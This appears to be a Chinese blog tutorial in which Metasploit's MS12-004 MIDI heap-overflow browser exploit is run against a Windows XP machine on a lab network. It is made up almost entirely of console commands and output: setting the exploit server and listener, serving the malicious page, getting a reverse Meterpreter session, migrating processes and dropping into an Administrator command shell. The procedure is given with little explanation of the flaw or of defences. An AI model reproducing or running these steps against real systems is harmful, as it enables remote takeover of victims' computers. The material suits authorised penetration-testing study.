Metasploit-MIDI文件解析远程代码执行

启动msf

[*] Processing setup.rc for ERB directives.
resource (setup.rc)> db_connect msf:msf123@127.0.0.1/msf
resource (setup.rc)> load msgrpc User=msf Pass='abc123'
[*] MSGRPC Service:  127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc

搜索和使用漏洞模块

msf > search 12-004
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                   Disclosure Date  Rank    Description
   ----                                   ---------------  ----    -----------
   exploit/windows/browser/ms12_004_midi  2012-01-10       normal  MS12-004 midiOutPlayNextPolyEvent Heap Overflow


msf > use exploit/windows/browser/ms12_004_midi

显示和设置相关Option

msf exploit(ms12_004_midi) > show options

Module options (exploit/windows/browser/ms12_004_midi):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   OBFUSCATE  false            no        Enable JavaScript obfuscation
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ms12_004_midi) > set SRVHOST 192.168.1.8
SRVHOST => 192.168.1.8

msf exploit(ms12_004_midi) > set URIPATH /
URIPATH => /
msf exploit(ms12_004_midi) > set LPORT 1234
LPORT => 1234
msf exploit(ms12_004_midi) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.8:1234
[*] Using URL: http://192.168.1.8:8080/
[*] Server started.

使用目标主机IE浏览器打开URL后控制台输出为

*] 192.168.1.43     ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 192.168.1.43     ms12_004_midi - Sending html to 192.168.1.43:2933...
[*] 192.168.1.43     ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4503
[*] 192.168.1.43     ms12_004_midi - Sending midi corruption file...
[*] Sending stage (957487 bytes) to 192.168.1.43
[*] Meterpreter session 2 opened (192.168.1.8:1234 -> 192.168.1.43:2934) at 2016-06-04 16:38:01 +0800
[*] Session ID 2 (192.168.1.8:1234 -> 192.168.1.43:2934) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (372)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3948
[+] Successfully migrated to process

查看和使用session

sf exploit(ms12_004_midi) > sessions

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  DH-CA8822AB9589\Administrator @ DH-CA8822AB9589  192.168.1.8:1234 -> 192.168.1.43:2927 (192.168.1.43)
  2   meterpreter x86/win32  DH-CA8822AB9589\Administrator @ DH-CA8822AB9589  192.168.1.8:1234 -> 192.168.1.43:2934 (192.168.1.43)

msf exploit(ms12_004_midi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:84:07:87
MTU          : 1500
IPv4 Address : 192.168.1.43
IPv4 Netmask : 255.255.255.0

meterpreter > shell
Process 204 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

赏

谢谢你请我吃糖果

微信